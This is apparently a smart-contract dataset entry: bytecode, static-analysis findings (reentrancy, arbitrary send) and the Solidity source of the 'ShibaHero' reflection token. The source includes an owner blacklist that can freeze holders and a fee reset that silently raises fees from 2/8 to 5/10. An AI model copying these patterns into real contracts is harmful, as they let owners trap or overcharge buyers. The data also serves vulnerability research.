0565b60008060408385031215611a7857600080fd5b8235611a8381611a40565b946020939093013593505050565b60008060408385031215611aa457600080fd5b50508035926020909101359150565b600080600060608486031215611ac857600080fd5b8335611ad381611a40565b92506020840135611ae381611a40565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b1d57600080fd5b823567ffffffffffffffff80821115611b3557600080fd5b818501915085601f830112611b4957600080fd5b813581811115611b5b57611b5b611af4565b8060051b604051601f19603f83011681018181108582111715611b8057611b80611af4565b604052918252848201925083810185019188831115611b9e57600080fd5b938501935b82851015611bc357611bb485611a55565b84529385019392850192611ba3565b98975050505050505050565b600060208284031215611be157600080fd5b81356118a581611a40565b600060208284031215611bfe57600080fd5b5035919050565b801515811461086b57600080fd5b600060208284031215611c2557600080fd5b81356118a581611c05565b60008060408385031215611c4357600080fd5b8235611c4e81611a40565b91506020830135611c5e81611a40565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611c9157611c91611c69565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611cc057611cc0611c69565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611d0e57600080fd5b81516118a581611a40565b600080600060608486031215611d2e57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d5957600080fd5b81516118a581611c05565b60008219821115611d7757611d77611c69565b500190565b6000816000190483118215151615611d9657611d96611c69565b500290565b600082611db857634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e0d5784516001600160a01b031683529383019391830191600101611de8565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212200b220a204b6b77d0be893adf0a1f7ce8a2d8ddd865fede56dde2920a5130953464736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,983 |
0xe62bdd3d1ce898fc5ee9609959df29fd7e389cdc | // https://t.me/shibaheroeth
// https://www.shibahero.space/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibaHero is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ShibaHero";
string private constant _symbol = "HEROSHIB";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 70000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600981526020017f53686962614865726f0000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506803cb71f51fc55800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4845524f53484942000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063f